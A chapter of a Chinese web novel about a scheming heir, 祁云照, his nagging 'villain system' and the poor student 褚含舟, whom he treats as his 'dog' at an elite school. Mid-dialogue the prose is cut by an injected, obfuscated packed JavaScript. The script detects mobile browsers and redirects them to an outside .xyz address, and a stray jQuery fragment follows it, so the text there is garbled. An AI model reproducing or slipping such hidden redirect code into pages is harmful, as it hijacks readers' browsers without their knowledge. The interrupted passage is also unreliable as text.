“闭嘴。”祁云照冷冷地命令,“你太吵了。”
【宿主不能这样!本系统是来协助你完成任务的!】
“协助?”祁云照转身走向卧室,声音里带着毫不掩饰的讥讽,“一个连基本变量都计算不了的废物系统,也配谈协助?”
系统像是被踩了尾巴的猫,电子音陡然拔高:【请宿主注意言辞!本系统经过时空管理局最高认证!】
祁云照推开卧室门,月光透过落地窗洒满一室。
他没有开灯,径直走向床边,慢条斯理地解开衬衫纽扣。
“最高认证?”他嗤笑一声,“那你怎么解释仇恨值下降?”
系统再次卡壳,发出滋滋的电流声:【数、数据可能出现暂时性波动……】
“波动?”
祁云照将衬衫扔在椅背上,露出精瘦的上身,“从75降到68,这叫波动?”
【......】
系统彻底沉默了。
祁云照满意地勾起嘴角,掀开被单躺下。
床垫完美贴合他的身体曲线,但他却罕见地没有睡意。
脑海中不断回放今晚的片段。
太有趣了。
这个看起来逆来顺受的玩具……
【警告!】
系统突然又冒出来,声音比之前更加尖锐。【检测到宿主思维模式异常偏离反派设定!请立即纠正!】
祁云照翻了个身,懒洋洋地回应:“怎么,现在连我想什么都要管?”
【宿主对主角的关注度已超出正常范围!】
【这不符合反派人设!】
“哦?”祁云照挑眉,“那你说说,反派人设应该怎样?”
【应该……应该……】
系统结结巴巴地开始背诵手册。
【应该对主角充满恶意,以折磨主角为乐,在特定剧情节点……】
“难道不是这么做的?”祁云照打断它,“而且……既然这个世界已经脱离''剧本'',那我为什么还要扮演一个纸片人反派?”
系统彻底哑火,只发出微弱的电流杂音。
祁云照闭上眼睛,在脑海中最后补了一刀:“与其担心我,不如想想怎么向你的上级解释数据异常。晚安,废物。”
【滋——】
系统发出一声长长的哀鸣,然后彻底静音了。
卧室内只剩下钟表的滴答声。
祁云照的呼吸渐渐平稳。
睡意终于袭来。
就在祁云照即将坠入梦乡的边缘,系统突然又冒出来,声音小得几乎听不见:
【不对劲,这男主太不对劲了……】
【但这是我的第一个任务啊!新手统就出这么大纰漏。】
祁云照有些烦躁地翻身。
【算了算了。】
系统自暴自弃地嘟囔。
【就当不知道……】
电子音彻底消失,这次是真的休眠了。
夜还很长。
……
褚含舟是被一阵湿热的触感惊醒的。
他睁开眼,发现欢欢正用鼻子轻轻拱着他的脸。
见他醒了,欢欢立刻兴奋地摇起尾巴,喉咙里发出撒娇般的呜咽声。
褚含舟伸手揉了揉它的脑袋,这才意识到自己还睡在地板上。
他撑着地面坐起身,浑身的骨头像是被拆散后又勉强拼凑起来,发出不堪重负的声响。
侧卧的窗帘没有拉严,一缕阳光斜斜地切进来,落在他昨夜铺在地板上的薄被上。
欢欢见他醒了,立刻转身跑向门口,用爪子扒拉着门板,又回头看他,像是在催促他快点起来。
褚含舟看了看床。
欢欢昨晚睡的地方……
床单上还留着几根白色的狗毛。
他沉默地站起身,叠好被子,然后走向门口。
走廊里静悄悄的,主卧的门虚掩着。
褚含舟的脚步不自觉地放轻,走到主卧门前时,他犹豫了一下,还是抬手敲了敲门。
没有回应。
他又敲了敲,依然是一片寂静。
欢欢在他脚边转来转去,发出焦急的哼唧声。褚含舟深吸一口气,轻轻推开了门。
主卧里空无一人。
床铺整洁得像是没人用过,被子平整地铺在床上,连一丝褶皱都没有。
窗帘大开着,阳光肆无忌惮地洒进来,照亮了房间里每一个角落。
空气中还残留着若有若无的香气,是祁云照身上的味道,但人已经不见了。
褚含舟站在门口,一时不知道该做什么。
欢欢已经跑进房间,跳上床,用鼻子四处嗅着,最后失望地趴下来,眼巴巴地看着他。
“他走了。”褚含舟低声说,不知是在对狗说还是对自己说。
他关上门,转身走向浴室。
洗漱台上,祁云照的洗漱用品整齐地排列着,和他昨晚看到的一模一样。
褚含舟盯着那些瓶瓶罐罐看了一会儿,最终只是拿起自己的牙刷,沉默地开始洗漱。
冷水拍在脸上,让他彻底清醒过来。
抬起头,镜子里的少年脸上的伤口已经结痂,嘴角的淤青也淡了一些。
他盯着镜中的自己看了几秒,突然伸手抹去镜面上的水珠,像是要擦掉什么不堪入目的东西。
欢欢一直跟在他身后,见他洗漱完毕,又急切地往厨房方向跑。
褚含舟这才意识到它可能是饿了。
他走进厨房,打开储物柜,里面除了昨晚用剩的食材,还有几盒狗粮。
他拿出狗粮,倒进欢欢的食盆里。
萨摩耶立刻埋头吃起来,尾巴摇得像个小风扇。
褚含舟蹲在一旁看着它,突然想起祁云照昨晚说的话。
“当我的狗,可不是谁都能行的。”
他自嘲地扯了扯嘴角,起身走向自己的房间收拾书包。
时间还早,但他已经不想继续待在这儿。
圣帝安的校园在清晨显得格外宁静。
褚含舟穿过林荫道,阳光透过树叶的缝隙在地上投下斑驳的光影。
他的脚步不自觉地放慢,目光扫过每一个可能遇见那个人的角落。
但祁云照不在。
教室里已经零星坐了几个学生,看到他进来,交谈声立刻低了几分。
褚含舟目不斜视地走向自己的座位——最后一排靠窗的位置。
刚坐下,他就注意到前面几排的红发男生今天没来。
“嘿。”
一个声音从旁边传来。
褚含舟转头,看到他的同桌正小心翼翼地打量着他。
“昨天……”同桌推了推眼镜,声音压得很低,“我听说你和祁少……”
褚含舟的手指无意识地蜷缩了一下,但面上依然平静:“没什么。”
“真的?”同桌的眼睛瞪大了,“可是大家都在传,说你成了他的……呃,跟班?”
这个词显然经过了一番斟酌。
褚含舟能感觉到周围若有若无的视线,那些目光像针一样扎在他背上。
他低头翻开课本,声音平淡:“随他们怎么说。”
同桌似乎还想问什么,但上课铃响了,老师走进教室,谈话被迫中断。
整个上午的课程,褚含舟都心不在焉。
直到体育课,他才终于听到了关于祁云照的消息。
“祁少今天去马场了。”一个声音从身后传来。
褚含舟正在更衣室换运动服,听到这句话,他的动作顿了一下。
“听说那匹新到的纯血马只有他能驯服。”另一个声音接道,语气里带着明显的崇拜,“不愧是祁少。”
“喂,你们看……”声音突然压低,“那不是祁少的‘新宠物’吗?”
褚含舟系鞋带的手指微微发紧,但他没有抬头,只是继续手上的动作。
几双球鞋出现在他的视线里。
他缓缓站起身,对上了几张充满敌意的脸。
好像见过?祁云照的跟班们?
“听说你昨天很威风啊。”为首的男生冷笑道,上下打量着褚含舟,“在祁少面前摇尾乞怜,胆子不小。”
褚含舟平静地回视他,没有说话。
“怎么,哑巴了?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612259|172174||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”男生上前一步,几乎贴到他面前,“别以为祁少一时兴起,你就能飞上枝头变凤凰了。像你这种下城区的垃圾,连给祁少提鞋都不配。”
更衣室里安静得可怕,所有人都屏住呼吸看着这一幕。
褚含舟能感觉到那些目光中的好奇、鄙夷,甚至还有几分幸灾乐祸。
“说完了?”他终于开口,声音很轻,却让周围的空气都为之一滞。
男生愣了一下,显然没料到他会这么回应。他恼羞成怒地揪住褚含舟的衣领:“你——”
“住手。”
一个冰冷的声音从门口传来。
所有人同时转头,只见陆承昀站在那里,眼睛不带任何感情地看着他们。
“祁少说过,他的东西,别人不能碰。”
陆承昀慢条斯理地说,目光落在那个揪着褚含舟衣领的男生手上,“你是想违抗他的命令?”
男生的手立刻松开了,脸色变得煞白:“不、不是的,陆哥,我只是……”
陆承昀没再理他,而是看向褚含舟:“祁少让你放学后去马场找他。”
褚含舟的瞳孔微微收缩,但很快恢复平静:“知道了。”
陆承昀点点头,转身离开。
更衣室里的气氛顿时松懈下来,那几个跟班也不敢再找褚含舟的麻烦,灰溜溜地走了。
体育课的内容是篮球。
褚含舟被分到了替补队,大部分时间都坐在场边。
他的目光时不时飘向远处的马场,但距离太远,什么也看不清。
下课铃响起时,他已经出了一身汗。
初秋的阳光依然毒辣,晒得他皮肤发烫。
他走向食堂,胃里空荡荡的感觉提醒他已经很久没吃东西了。
食堂一楼人声鼎沸。
褚含舟端着餐盘,找了个最角落的位置坐下。
今天的免费餐是土豆泥和一小块炸鱼,他机械地咀嚼着,食不知味。
“可以坐这里吗?”
一个声音从头顶传来。
褚含舟抬头,看到他的同桌正端着餐盘,有些局促地站在对面。
他点点头,同桌立刻松了口气,在他对面坐下。
“那个……”同桌欲言又止。
褚含舟的动作顿了一下,但没有回应。
“祁云照他……”同桌的声音更低了,“你最好小心点。他……和一般人不一样。”
褚含舟终于抬起头:“什么意思?”
同桌左右看了看,确定没人注意他们,才凑近一些:“我听说,上一个得罪他的人……退学了。不是自愿的那种。”
褚含舟的眉头几不可察地皱了一下:“所以?”
“所以……”同桌咽了口唾沫,“你别太相信他。他们那种人,把我们都当玩具。”
褚含舟放下叉子,突然觉得胃口全无。
他看向窗外,马场的轮廓在阳光下若隐若现。
“谢谢提醒。”他说,声音平静得听不出任何情绪,“但我自有分寸。”
同桌似乎还想说什么,但食堂另一头突然传来一阵骚动。
两人同时转头,只见一群人簇拥着一个身影走了进来。
祁云照。
他穿着马术服,靴子上还沾着草屑,看起来是刚从马场过来。
阳光从他身后的大窗户照进来,给他整个人镀上一层金边,耀眼得让人无法直视。
褚含舟的手指无意识地捏紧了叉子。
祁云照似乎感应到了什么,转头看向他这个方向。
两人的视线在空中交汇,一瞬间,食堂的喧嚣仿佛都远去了。
祁云照的嘴角勾起一抹似有若无的笑,然后转身走向二楼的VIP区域。
他的跟班们立刻跟上,像一群忠诚的猎犬。
“看吧。”同桌小声说,“他们甚至不用和我们呼吸同一层的空气。”
褚含舟没有回答。他的目光依然停留在祁云照消失的楼梯口,眼神晦暗不明。
就在这时,他的手机震动了一下。
一条陌生号码发来的短信:
【上来。别让我等太久。】